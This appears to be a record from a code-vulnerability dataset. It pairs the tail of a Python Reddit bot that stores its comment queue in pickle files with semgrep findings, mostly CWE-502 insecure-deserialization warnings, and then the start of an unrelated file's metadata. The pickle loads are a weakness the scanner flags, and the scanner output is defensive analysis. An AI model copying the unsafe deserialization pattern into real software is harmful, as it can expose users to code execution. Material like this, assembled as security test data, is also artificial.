queue = pickle.load(open(file, "rb"))
except EOFError and FileNotFoundError as e:
print("queue startup: %s" % e)
queue = Queue()
pickle.dump(queue, open(file, 'wb'))
try:
__data = pickle.load(open("RSRData.p", "rb"))
except EOFError and FileNotFoundError:
__data = []
pickle.dump(__data, open("RSRData.p", 'wb'))
if __data:
print("There are %s entries in data." % len(__data))
else:
print("Data is empty.")
if queue:
print("There are %s entries in the deque." % len(queue))
else:
print("Queue is empty.")
while True:
try:
queue = pickle.load(open(file, 'rb'))
except EOFError:
queue = Queue()
if queue and len(queue) > 0:
comment_id = queue.dequeue()
pickle.dump(queue, open(file, 'wb'))
reply(praw.models.Comment(rsr, comment_id))
| 203 | 35.59 | 115 | 17 | 1,813 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca24cd6c46345092_3f271e46", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 6, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 29, "col": 6, "offset": 612}, "end": {"line": 29, "col": 24, "offset": 630}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_a32fd351", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 17, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 45, "col": 17, "offset": 1213}, "end": {"line": 45, "col": 46, "offset": 1242}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_853be060", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 16, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 48, "col": 16, "offset": 1308}, "end": {"line": 48, "col": 52, "offset": 1344}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.string-is-comparison_ca24cd6c46345092_8ca83f21", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.string-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "remediation": "", "location": {"file_path": "unknown", "line_start": 53, "line_end": 53, "column_start": 12, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.string-is-comparison", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 53, "col": 12, "offset": 1545}, "end": {"line": 53, "col": 46, "offset": 1579}, "extra": {"message": "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_1ed2c926", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 94, "line_end": 94, "column_start": 12, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 94, "col": 12, "offset": 3385}, "end": {"line": 94, "col": 48, "offset": 3421}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_aaa3166c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 5, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 99, "col": 5, "offset": 3495}, "end": {"line": 99, "col": 47, "offset": 3537}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.string-is-comparison_ca24cd6c46345092_8c1623c2", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.string-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "remediation": "", "location": {"file_path": "unknown", "line_start": 109, "line_end": 109, "column_start": 12, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.string-is-comparison", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 109, "col": 12, "offset": 3986}, "end": {"line": 109, "col": 28, "offset": 4002}, "extra": {"message": "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_7ee1dbf6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 136, "line_end": 136, "column_start": 20, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 136, "col": 20, "offset": 4981}, "end": {"line": 136, "col": 56, "offset": 5017}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_71ea0acb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 137, "line_end": 137, "column_start": 18, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 137, "col": 18, "offset": 5035}, "end": {"line": 137, "col": 56, "offset": 5073}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_6ba845f8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 176, "line_end": 176, "column_start": 17, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 176, "col": 17, "offset": 6506}, "end": {"line": 176, "col": 46, "offset": 6535}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_556ad780", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 180, "line_end": 180, "column_start": 9, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 180, "col": 9, "offset": 6655}, "end": {"line": 180, "col": 45, "offset": 6691}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_347779eb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 183, "line_end": 183, "column_start": 18, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 183, "col": 18, "offset": 6719}, "end": {"line": 183, "col": 54, "offset": 6755}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_a2d1f9ec", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 186, "line_end": 186, "column_start": 9, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 186, "col": 9, "offset": 6827}, "end": {"line": 186, "col": 53, "offset": 6871}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_9fa374b2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 197, "line_end": 197, "column_start": 21, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 197, "col": 21, "offset": 7161}, "end": {"line": 197, "col": 50, "offset": 7190}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca24cd6c46345092_884c298d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 202, "line_end": 202, "column_start": 13, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ca24cd6c46345092.py", "start": {"line": 202, "col": 13, "offset": 7334}, "end": {"line": 202, "col": 49, "offset": 7370}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 15 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.pyth... | [
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
45,
48,
94,
99,
136,
137,
176,
180,
183,
186,
197,
202
] | [
45,
48,
94,
99,
136,
137,
176,
180,
183,
186,
197,
202
] | [
17,
16,
12,
5,
20,
18,
17,
9,
18,
9,
21,
13
] | [
46,
52,
48,
47,
56,
56,
46,
45,
54,
53,
50,
49
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserial... | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5,
5,
5,
5,
5,
5,
5,
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | garlicbot.py | /RedditBotCore/garlicbot.py | tim-clifford/RedditGarlicRobot | MIT | |
2024-11-18T20:15:47.824924+00:00 | 1,590,014,526,000 | cb271fee9a9002df0ba423467e9e862cfb381529 | 2 | {
"blob_id": "cb271fee9a9002df0ba423467e9e862cfb381529",
"branch_name": "refs/heads/master",
"committer_date": 1590014526000,
"content_id": "ff1195a0652ca2885ae300825d538c9f98a57bc5",
"detected_licenses": [
"MIT"
],
"directory_id": "2999d161a66e7f41dc40a6f1e719b0954a96973d",
"extension": "py",
"filename": "gSheetDownloader.py",
"fork_events_count": 1,
"gha_created_at": 1559123855000,
"gha_event_created_at": 1670476634000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 189199098,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3339,
"license": "MIT",
"license_type": "permissive",
"path": "/scripts/gSheetDownloader.py",
"provenance": "stack-edu-0054.json.gz:570744",
"repo_name": "Elyspio/robocup_pepper-scenario_data_generator",
"revision_date": 1590014526000,
